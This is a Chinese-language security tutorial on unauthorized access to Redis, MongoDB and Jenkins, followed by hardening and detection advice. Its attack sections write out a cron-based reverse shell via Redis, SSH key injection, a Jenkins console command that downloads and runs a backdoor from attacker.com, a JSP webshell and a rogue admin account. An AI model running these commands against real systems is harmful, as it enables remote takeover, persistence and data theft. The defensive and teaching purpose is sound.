Redis与MongoDB未授权访问漏洞解析与防护
1. 未授权访问漏洞的本质与危害
未授权访问漏洞的本质是系统或服务在默认配置下未实施适当的访问控制机制,导致攻击者无需身份验证即可直接访问敏感功能或数据。这种漏洞常出现在数据库、中间件、容器平台等基础设施组件中,其危害程度往往被严重低估。
从技术实现层面来看,未授权访问通常由以下设计缺陷导致:
- 服务默认监听0.0.0.0且未启用认证
- 依赖网络边界防护而忽略服务自身安全
- 开发者错误认为"内部服务不需要认证"
- 配置文件中安全选项被注释或设为默认值
实际攻击案例中,攻击者利用未授权访问漏洞通常分三个阶段:
- 通过端口扫描发现开放服务
- 使用基础客户端工具测试未授权访问
- 根据服务类型选择对应的攻击载荷:
- 数据库类:数据窃取/篡改
- 构建系统:代码注入
- 容器平台:逃逸到宿主机
关键提示:未授权访问漏洞常被用作攻击链的初始入口点,后续会结合其他漏洞实现横向移动。2021年某大型企业数据泄露事件就是攻击者先通过Redis未授权访问获取初始立足点。
2. Redis未授权访问深度解析
2.1 漏洞形成机制
Redis的未授权访问漏洞源于其默认配置的"无认证+全监听"模式。安装后的redis.conf中存在两个关键配置项:
# bind 127.0.0.1 protected-mode no这种配置使得Redis服务会:
- 监听所有网络接口(0.0.0.0)
- 不启用保护模式
- 无需密码即可执行所有命令
2.2 攻击手法实战演示
2.2.1 计划任务反弹Shell
当Redis以root权限运行时,可写入crontab实现权限提升:
# 攻击机监听 nc -lvnp 4444 # 连接目标Redis执行 redis-cli -h 192.168.1.100 config set dir /var/spool/cron/ config set dbfilename root set payload "\n* * * * * /bin/bash -i >& /dev/tcp/192.168.1.50/4444 0>&1\n" save此操作利用了cron对/etc/crontab和/var/spool/cron/目录的特殊解析规则。
2.2.2 SSH公钥注入
需要满足三个条件:
- Redis运行用户有/root/.ssh写权限
- 目标系统启用SSH服务
- 允许公钥认证
操作流程:
# 本地生成密钥对 ssh-keygen -t rsa # 将公钥写入Redis (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt cat key.txt | redis-cli -h 192.168.1.100 -x set ssh_key # 保存到目标机 redis-cli -h 192.168.1.100 config set dir /root/.ssh/ config set dbfilename authorized_keys save2.3 加固方案与验证
2.3.1 基础加固措施
修改redis.conf关键配置:
bind 127.0.0.1 protected-mode yes requirepass ComplexPassword123! rename-command FLUSHALL ""2.3.2 网络层防护
# iptables规则示例 iptables -A INPUT -p tcp --dport 6379 -s 10.0.0.0/24 -j ACCEPT iptables -A INPUT -p tcp --dport 6379 -j DROP2.3.3 安全验证方法
使用redis-cli测试认证:
redis-cli -h 127.0.0.1 127.0.0.1:6379> keys * (error) NOAUTH Authentication required3. MongoDB未授权访问攻防实战
3.1 默认配置风险
MongoDB 3.6之前版本默认存在以下问题:
- 监听0.0.0.0:27017
- 不启用访问控制
- admin数据库空密码
3.2 数据泄露风险演示
使用mongo shell直接连接:
// 查看所有数据库 show dbs // 切换到敏感数据库 use admin db.system.users.find() // 导出数据到文件 db.getCollection('users').find().forEach( function(doc){printjson(doc)} )3.3 多维度防护方案
3.3.1 认证配置
# 启动时启用认证 mongod --auth # 创建管理员 use admin db.createUser({ user: "admin", pwd: "S3cureP@ss", roles: [ { role: "root", db: "admin" } ] })3.3.2 网络隔离
# 配置文件示例 net: bindIp: 127.0.0.1 port: 27017 security: authorization: enabled3.3.3 日志审计
// 启用详细日志 db.setLogLevel(2) // 查看认证日志 db.getCollection('system.log').find( { "msg": { $regex: "authenticate" } } )4. Jenkins未授权访问漏洞剖析
4.1 脚本控制台风险
Jenkins的Groovy脚本控制台(/script)允许执行任意代码,典型攻击模式:
// 执行系统命令 println "id".execute().text // 下载执行恶意脚本 def cmd = "wget http://attacker.com/backdoor.sh -O /tmp/bd.sh".execute() cmd.waitFor() "bash /tmp/bd.sh".execute()4.2 权限提升手法
4.2.1 写WebShell
new File("/var/www/html/shell.jsp").write(''' <%@ page import="java.util.*,java.io.*"%> <% if (request.getParameter("cmd") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); // ...省略输出处理代码 } %> ''')4.2.2 添加管理员账号
import hudson.model.* import jenkins.model.* import jenkins.security.* def jenkins = Jenkins.instance def realm = new HudsonPrivateSecurityRealm(false) realm.createAccount("hacker", "P@ssw0rd") jenkins.setSecurityRealm(realm) jenkins.save()4.3 安全加固指南
4.3.1 访问控制配置
- 启用Matrix-based安全策略
- 禁用匿名读取权限
- 设置强密码策略
4.3.2 关键端点保护
<!-- 修改web.xml限制脚本控制台访问 --> <security-constraint> <web-resource-collection> <web-resource-name>Script Console</web-resource-name> <url-pattern>/script</url-pattern> </web-resource-collection> <auth-constraint> <role-name>admin</role-name> </auth-constraint> </security-constraint>5. 其他常见服务防护方案
5.1 Memcached防护要点
# 启动时绑定本地 memcached -l 127.0.0.1 # 使用SASL认证 memcached -S -l 127.0.0.15.2 Elasticsearch安全配置
# elasticsearch.yml xpack.security.enabled: true xpack.security.transport.ssl.enabled: true http.host: 127.0.0.15.3 Docker API防护策略
# 启用TLS认证 dockerd --tlsverify \ --tlscacert=ca.pem \ --tlscert=server-cert.pem \ --tlskey=server-key.pem \ -H=0.0.0.0:23766. 企业级防护体系建设
6.1 自动化检测方案
# 未授权访问扫描脚本示例 import socket services = { 6379: 'redis', 27017: 'mongodb', 9200: 'elasticsearch', 11211: 'memcached' } def check_unauth(ip, port): try: s = socket.socket() s.connect((ip, port)) s.send(b"info\r\n") data = s.recv(1024) if b"redis_version" in data: return True except: pass return False6.2 网络架构建议
- 生产环境与服务隔离部署
- 使用跳板机管理基础设施
- 实施严格的网络ACL策略
6.3 持续监控措施
- 日志集中分析认证失败事件
- 网络流量监控异常访问模式
- 定期进行配置审计检查
在实际运维中,我曾遇到一个典型案例:某开发团队在测试环境使用未加固的Redis,结果被攻击者植入挖矿程序。排查时发现攻击者先通过Redis未授权访问获取shell,然后利用Crontab持久化。这个案例充分说明,即使是测试环境也需要同等安全防护。